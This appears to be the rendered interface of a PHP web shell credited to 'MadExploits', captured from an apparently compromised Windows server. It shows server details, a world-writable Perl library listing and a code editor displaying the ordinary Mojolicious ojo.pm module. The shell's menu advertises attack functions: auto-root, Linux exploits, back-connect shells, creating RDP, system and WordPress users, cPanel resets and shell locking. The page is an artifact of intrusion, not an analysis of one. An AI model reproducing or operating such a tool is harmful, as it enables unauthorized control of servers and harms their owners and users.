Windows NT SRV-DATA 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0
: 192.168.213.201 | : 216.73.216.72
Cant Read [ /etc/named.conf ]
8.2.0
ADMINISTRATEUR
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
[ E ]
[ Z ]
C: /
xampp /
perl /
vendor /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
Algorithm
[ DIR ]
drwxrwxrwx
Alien
[ DIR ]
drwxrwxrwx
Alt
[ DIR ]
drwxrwxrwx
Apache
[ DIR ]
drwxrwxrwx
App
[ DIR ]
drwxrwxrwx
AppConfig
[ DIR ]
drwxrwxrwx
Archive
[ DIR ]
drwxrwxrwx
Authen
[ DIR ]
drwxrwxrwx
B
[ DIR ]
drwxrwxrwx
BerkeleyDB
[ DIR ]
drwxrwxrwx
Bundle
[ DIR ]
drwxrwxrwx
Bytes
[ DIR ]
drwxrwxrwx
CGI
[ DIR ]
drwxrwxrwx
CPAN
[ DIR ]
drwxrwxrwx
CPANPLUS
[ DIR ]
drwxrwxrwx
Canary
[ DIR ]
drwxrwxrwx
Capture
[ DIR ]
drwxrwxrwx
Carp
[ DIR ]
drwxrwxrwx
Class
[ DIR ]
drwxrwxrwx
Clone
[ DIR ]
drwxrwxrwx
Compress
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
Context
[ DIR ]
drwxrwxrwx
Convert
[ DIR ]
drwxrwxrwx
Cpanel
[ DIR ]
drwxrwxrwx
Crypt
[ DIR ]
drwxrwxrwx
DBD
[ DIR ]
drwxrwxrwx
DBI
[ DIR ]
drwxrwxrwx
DBIx
[ DIR ]
drwxrwxrwx
DBM
[ DIR ]
drwxrwxrwx
Dancer
[ DIR ]
drwxrwxrwx
Dancer2
[ DIR ]
drwxrwxrwx
Data
[ DIR ]
drwxrwxrwx
Date
[ DIR ]
drwxrwxrwx
DateTime
[ DIR ]
drwxrwxrwx
Devel
[ DIR ]
drwxrwxrwx
Digest
[ DIR ]
drwxrwxrwx
Dist
[ DIR ]
drwxrwxrwx
Email
[ DIR ]
drwxrwxrwx
Encode
[ DIR ]
drwxrwxrwx
Eval
[ DIR ]
drwxrwxrwx
Excel
[ DIR ]
drwxrwxrwx
Exception
[ DIR ]
drwxrwxrwx
Exporter
[ DIR ]
drwxrwxrwx
ExtUtils
[ DIR ]
drwxrwxrwx
FFI
[ DIR ]
drwxrwxrwx
File
[ DIR ]
drwxrwxrwx
GD
[ DIR ]
drwxrwxrwx
Graphics
[ DIR ]
drwxrwxrwx
HTML
[ DIR ]
drwxrwxrwx
HTTP
[ DIR ]
drwxrwxrwx
Hash
[ DIR ]
drwxrwxrwx
Hook
[ DIR ]
drwxrwxrwx
IO
[ DIR ]
drwxrwxrwx
IPC
[ DIR ]
drwxrwxrwx
Imager
[ DIR ]
drwxrwxrwx
JSON
[ DIR ]
drwxrwxrwx
LWP
[ DIR ]
drwxrwxrwx
List
[ DIR ]
drwxrwxrwx
Log
[ DIR ]
drwxrwxrwx
MIME
[ DIR ]
drwxrwxrwx
Mail
[ DIR ]
drwxrwxrwx
Math
[ DIR ]
drwxrwxrwx
Method
[ DIR ]
drwxrwxrwx
Mock
[ DIR ]
drwxrwxrwx
Modern
[ DIR ]
drwxrwxrwx
Module
[ DIR ]
drwxrwxrwx
Mojo
[ DIR ]
drwxrwxrwx
MojoX
[ DIR ]
drwxrwxrwx
Mojolicious
[ DIR ]
drwxrwxrwx
Moo
[ DIR ]
drwxrwxrwx
MooX
[ DIR ]
drwxrwxrwx
Moose
[ DIR ]
drwxrwxrwx
MooseX
[ DIR ]
drwxrwxrwx
Mozilla
[ DIR ]
drwxrwxrwx
Net
[ DIR ]
drwxrwxrwx
Number
[ DIR ]
drwxrwxrwx
OLE
[ DIR ]
drwxrwxrwx
Object
[ DIR ]
drwxrwxrwx
OpenGL
[ DIR ]
drwxrwxrwx
PAR
[ DIR ]
drwxrwxrwx
POD2
[ DIR ]
drwxrwxrwx
PPI
[ DIR ]
drwxrwxrwx
PPM
[ DIR ]
drwxrwxrwx
Package
[ DIR ]
drwxrwxrwx
Params
[ DIR ]
drwxrwxrwx
Parse
[ DIR ]
drwxrwxrwx
Path
[ DIR ]
drwxrwxrwx
Perl
[ DIR ]
drwxrwxrwx
PerlIO
[ DIR ]
drwxrwxrwx
Pod
[ DIR ]
drwxrwxrwx
Portable
[ DIR ]
drwxrwxrwx
Probe
[ DIR ]
drwxrwxrwx
Role
[ DIR ]
drwxrwxrwx
SOAP
[ DIR ]
drwxrwxrwx
SQL
[ DIR ]
drwxrwxrwx
Scope
[ DIR ]
drwxrwxrwx
Sort
[ DIR ]
drwxrwxrwx
Specio
[ DIR ]
drwxrwxrwx
Spiffy
[ DIR ]
drwxrwxrwx
Spreadsheet
[ DIR ]
drwxrwxrwx
StackTrace
[ DIR ]
drwxrwxrwx
String
[ DIR ]
drwxrwxrwx
Sub
[ DIR ]
drwxrwxrwx
Syntax
[ DIR ]
drwxrwxrwx
Sys
[ DIR ]
drwxrwxrwx
TAP
[ DIR ]
drwxrwxrwx
Task
[ DIR ]
drwxrwxrwx
Template
[ DIR ]
drwxrwxrwx
Term
[ DIR ]
drwxrwxrwx
Test
[ DIR ]
drwxrwxrwx
Test2
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
Throwable
[ DIR ]
drwxrwxrwx
Tie
[ DIR ]
drwxrwxrwx
Time
[ DIR ]
drwxrwxrwx
Tree
[ DIR ]
drwxrwxrwx
Types
[ DIR ]
drwxrwxrwx
Unicode
[ DIR ]
drwxrwxrwx
Variable
[ DIR ]
drwxrwxrwx
WWW
[ DIR ]
drwxrwxrwx
Win32
[ DIR ]
drwxrwxrwx
Win32API
[ DIR ]
drwxrwxrwx
XML
[ DIR ]
drwxrwxrwx
YAML
[ DIR ]
drwxrwxrwx
auto
[ DIR ]
drwxrwxrwx
common
[ DIR ]
drwxrwxrwx
lib
[ DIR ]
drwxrwxrwx
libwww
[ DIR ]
drwxrwxrwx
local
[ DIR ]
drwxrwxrwx
namespace
[ DIR ]
drwxrwxrwx
odern
[ DIR ]
drwxrwxrwx
AppConfig.pm
31.7
KB
-rw-rw-rw-
BerkeleyDB.pm
42.09
KB
-rw-rw-rw-
BerkeleyDB.pod
80.17
KB
-rw-rw-rw-
CGI.pm
122.63
KB
-rw-rw-rw-
CGI.pod
66.13
KB
-rw-rw-rw-
CPANPLUS.pm
7.05
KB
-rw-rw-rw-
Clone.pm
2.29
KB
-rw-rw-rw-
CryptX.pm
4.69
KB
-rw-rw-rw-
DBI.pm
310.74
KB
-rw-rw-rw-
DB_File.pm
67.74
KB
-rw-rw-rw-
DDP.pm
530
B
-rw-rw-rw-
DateTime.pm
132.7
KB
-rw-rw-rw-
FCGI.pm
5.72
KB
-rw-rw-rw-
Fh.pm
166
B
-rw-rw-rw-
GD.pm
67.49
KB
-rw-rw-rw-
Imager.pm
124.3
KB
-rw-rw-rw-
Importer.pm
41.53
KB
-rw-rw-rw-
JSON.pm
61.08
KB
-rw-rw-rw-
LWP.pm
21.17
KB
-rw-rw-rw-
MailTools.pm
458
B
-rw-rw-rw-
MailTools.pod
2.24
KB
-rw-rw-rw-
Mojo.pm
1.61
KB
-rw-rw-rw-
Mojolicious.pm
29.21
KB
-rw-rw-rw-
Moo.pm
33.61
KB
-rw-rw-rw-
Moose.pm
38.63
KB
-rw-rw-rw-
OLE.pm
4.28
KB
-rw-rw-rw-
OpenGL.pm
140.62
KB
-rw-rw-rw-
OpenGL.pod
37.33
KB
-rw-rw-rw-
PAR.pm
40.34
KB
-rw-rw-rw-
PPI.pm
29.52
KB
-rw-rw-rw-
PPM.pm
75.77
KB
-rw-rw-rw-
PadWalker.pm
4.1
KB
-rw-rw-rw-
PkgConfig.pm
46.95
KB
-rw-rw-rw-
Portable.pm
6.49
KB
-rw-rw-rw-
Socket6.pm
9.55
KB
-rw-rw-rw-
Specio.pm
14.83
KB
-rw-rw-rw-
Spiffy.pm
15.12
KB
-rw-rw-rw-
Spiffy.pod
17.75
KB
-rw-rw-rw-
Template.pm
24.46
KB
-rw-rw-rw-
Throwable.pm
4.4
KB
-rw-rw-rw-
TimeDate.pm
267
B
-rw-rw-rw-
V.pm
4.18
KB
-rw-rw-rw-
XString.pm
1.76
KB
-rw-rw-rw-
YAML.pm
3.12
KB
-rw-rw-rw-
YAML.pod
22.62
KB
-rw-rw-rw-
aliased.pm
9.98
KB
-rw-rw-rw-
alienfile.pm
15.78
KB
-rw-rw-rw-
dbixs_rev.pl
1.5
KB
-rw-rw-rw-
enum.pm
10.63
KB
-rw-rw-rw-
metaclass.pm
3.23
KB
-rw-rw-rw-
mkconsts.pl
38.4
KB
-rw-rw-rw-
ntheory.pm
14.33
KB
-rw-rw-rw-
ojo.pm
7.04
KB
-rw-rw-rw-
oo.pm
1.19
KB
-rw-rw-rw-
oose.pm
2.62
KB
-rw-rw-rw-
pler.pm
9.76
KB
-rw-rw-rw-
ppm.xml
600
B
-rw-rw-rw-
scan.pl
5.68
KB
-rw-rw-rw-
superclass.pm
3.71
KB
-rw-rw-rw-
syntax.pm
4.24
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ojo.pm
package ojo; use Mojo::Base -strict; use Benchmark qw(timeit timestr :hireswallclock); use Mojo::ByteStream qw(b); use Mojo::Collection qw(c); use Mojo::DOM; use Mojo::File qw(path); use Mojo::JSON qw(j); use Mojo::URL; use Mojo::Util qw(dumper monkey_patch); # Silent one-liners $ENV{MOJO_LOG_LEVEL} ||= 'fatal'; sub import { # Mojolicious::Lite my $caller = caller; eval "package $caller; use Mojolicious::Lite; 1" or die $@; Mojo::Base->import(-strict, $] < 5.020 ? () : (-signatures)); my $ua = $caller->app->ua; $ua->server->app->hook(around_action => sub { local $_ = $_[1]; $_[0]() }); $ua->max_redirects(10) unless defined $ENV{MOJO_MAX_REDIRECTS}; $ua->proxy->detect unless defined $ENV{MOJO_PROXY}; # The ojo DSL monkey_patch $caller, a => sub { $caller->can('any')->(@_) and return $ua->server->app }, b => \&b, c => \&c, d => sub { $ua->delete(@_)->result }, f => \&path, g => sub { $ua->get(@_)->result }, h => sub { $ua->head(@_)->result }, j => \&j, l => sub { Mojo::URL->new(@_) }, n => sub (&@) { say STDERR timestr timeit($_[1] // 1, $_[0]) }, o => sub { $ua->options(@_)->result }, p => sub { $ua->post(@_)->result }, r => \&dumper, t => sub { $ua->patch(@_)->result }, u => sub { $ua->put(@_)->result }, x => sub { Mojo::DOM->new(@_) }; } 1; =encoding utf8 =head1 NAME ojo - Fun one-liners with Mojo =head1 SYNOPSIS $ perl -Mojo -E 'say g("mojolicious.org")->dom->at("title")->text' =head1 DESCRIPTION A collection of automatically exported functions for fun Perl one-liners. Ten redirects will be followed by default, you can change this behavior with the C<MOJO_MAX_REDIRECTS> environment variable. $ MOJO_MAX_REDIRECTS=0 perl -Mojo -E 'say g("example.com")->code' Proxy detection is enabled by default, but you can disable it with the C<MOJO_PROXY> environment variable. $ MOJO_PROXY=0 perl -Mojo -E 'say g("example.com")->body' TLS certificate verification can be disabled with the C<MOJO_INSECURE> environment variable. $ MOJO_INSECURE=1 perl -Mojo -E 'say g("https://127.0.0.1:3000")->body' Every L<ojo> one-liner is also a L<Mojolicious::Lite> application. $ perl -Mojo -E 'get "/" => {inline => "%= time"}; app->start' get / On Perl 5.20+ L<subroutine signatures|perlsub/"Signatures"> will be enabled automatically. $ perl -Mojo -E 'a(sub ($c) { $c->render(text => "Hello!") })->start' get / If it is not already defined, the C<MOJO_LOG_LEVEL> environment variable will be set to C<fatal>. =head1 FUNCTIONS L<ojo> implements the following functions, which are automatically exported. =head2 a my $app = a('/hello' => sub { $_->render(json => {hello => 'world'}) }); Create a route with L<Mojolicious::Lite/"any"> and return the current L<Mojolicious::Lite> object. The current controller object is also available to actions as C<$_>. See also L<Mojolicious::Guides::Tutorial> for more argument variations. $ perl -Mojo -E 'a("/hello" => {text => "Hello Mojo!"})->start' daemon =head2 b my $stream = b('lalala'); Turn string into a L<Mojo::ByteStream> object. $ perl -Mojo -E 'b(g("mojolicious.org")->body)->html_unescape->say' =head2 c my $collection = c(1, 2, 3); Turn list into a L<Mojo::Collection> object. =head2 d my $res = d('example.com'); my $res = d('http://example.com' => {Accept => '*/*'} => 'Hi!'); my $res = d('http://example.com' => {Accept => '*/*'} => form => {a => 'b'}); my $res = d('http://example.com' => {Accept => '*/*'} => json => {a => 'b'}); Perform C<DELETE> request with L<Mojo::UserAgent/"delete"> and return resulting L<Mojo::Message::Response> object. =head2 f my $path = f('/home/sri/foo.txt'); Turn string into a L<Mojo::File> object. $ perl -Mojo -E 'say r j f("hello.json")->slurp' =head2 g my $res = g('example.com'); my $res = g('http://example.com' => {Accept => '*/*'} => 'Hi!'); my $res = g('http://example.com' => {Accept => '*/*'} => form => {a => 'b'}); my $res = g('http://example.com' => {Accept => '*/*'} => json => {a => 'b'}); Perform C<GET> request with L<Mojo::UserAgent/"get"> and return resulting L<Mojo::Message::Response> object. $ perl -Mojo -E 'say g("mojolicious.org")->dom("h1")->map("text")->join("\n")' =head2 h my $res = h('example.com'); my $res = h('http://example.com' => {Accept => '*/*'} => 'Hi!'); my $res = h('http://example.com' => {Accept => '*/*'} => form => {a => 'b'}); my $res = h('http://example.com' => {Accept => '*/*'} => json => {a => 'b'}); Perform C<HEAD> request with L<Mojo::UserAgent/"head"> and return resulting L<Mojo::Message::Response> object. =head2 j my $bytes = j([1, 2, 3]); my $bytes = j({foo => 'bar'}); my $value = j($bytes); Encode Perl data structure or decode JSON with L<Mojo::JSON/"j">. $ perl -Mojo -E 'f("hello.json")->spurt(j {hello => "world!"})' =head2 l my $url = l('https://mojolicious.org'); Turn a string into a L<Mojo::URL> object. $ perl -Mojo -E 'say l("/perldoc")->to_abs(l("https://mojolicious.org"))' =head2 n n {...}; n {...} 100; Benchmark block and print the results to C<STDERR>, with an optional number of iterations, which defaults to C<1>. $ perl -Mojo -E 'n { say g("mojolicious.org")->code }' =head2 o my $res = o('example.com'); my $res = o('http://example.com' => {Accept => '*/*'} => 'Hi!'); my $res = o('http://example.com' => {Accept => '*/*'} => form => {a => 'b'}); my $res = o('http://example.com' => {Accept => '*/*'} => json => {a => 'b'}); Perform C<OPTIONS> request with L<Mojo::UserAgent/"options"> and return resulting L<Mojo::Message::Response> object. =head2 p my $res = p('example.com'); my $res = p('http://example.com' => {Accept => '*/*'} => 'Hi!'); my $res = p('http://example.com' => {Accept => '*/*'} => form => {a => 'b'}); my $res = p('http://example.com' => {Accept => '*/*'} => json => {a => 'b'}); Perform C<POST> request with L<Mojo::UserAgent/"post"> and return resulting L<Mojo::Message::Response> object. =head2 r my $perl = r({data => 'structure'}); Dump a Perl data structure with L<Mojo::Util/"dumper">. perl -Mojo -E 'say r g("example.com")->headers->to_hash' =head2 t my $res = t('example.com'); my $res = t('http://example.com' => {Accept => '*/*'} => 'Hi!'); my $res = t('http://example.com' => {Accept => '*/*'} => form => {a => 'b'}); my $res = t('http://example.com' => {Accept => '*/*'} => json => {a => 'b'}); Perform C<PATCH> request with L<Mojo::UserAgent/"patch"> and return resulting L<Mojo::Message::Response> object. =head2 u my $res = u('example.com'); my $res = u('http://example.com' => {Accept => '*/*'} => 'Hi!'); my $res = u('http://example.com' => {Accept => '*/*'} => form => {a => 'b'}); my $res = u('http://example.com' => {Accept => '*/*'} => json => {a => 'b'}); Perform C<PUT> request with L<Mojo::UserAgent/"put"> and return resulting L<Mojo::Message::Response> object. =head2 x my $dom = x('<div>Hello!</div>'); Turn HTML/XML input into L<Mojo::DOM> object. $ perl -Mojo -E 'say x(f("test.html")->slurp)->at("title")->text' =head1 SEE ALSO L<Mojolicious>, L<Mojolicious::Guides>, L<https://mojolicious.org>. =cut
Close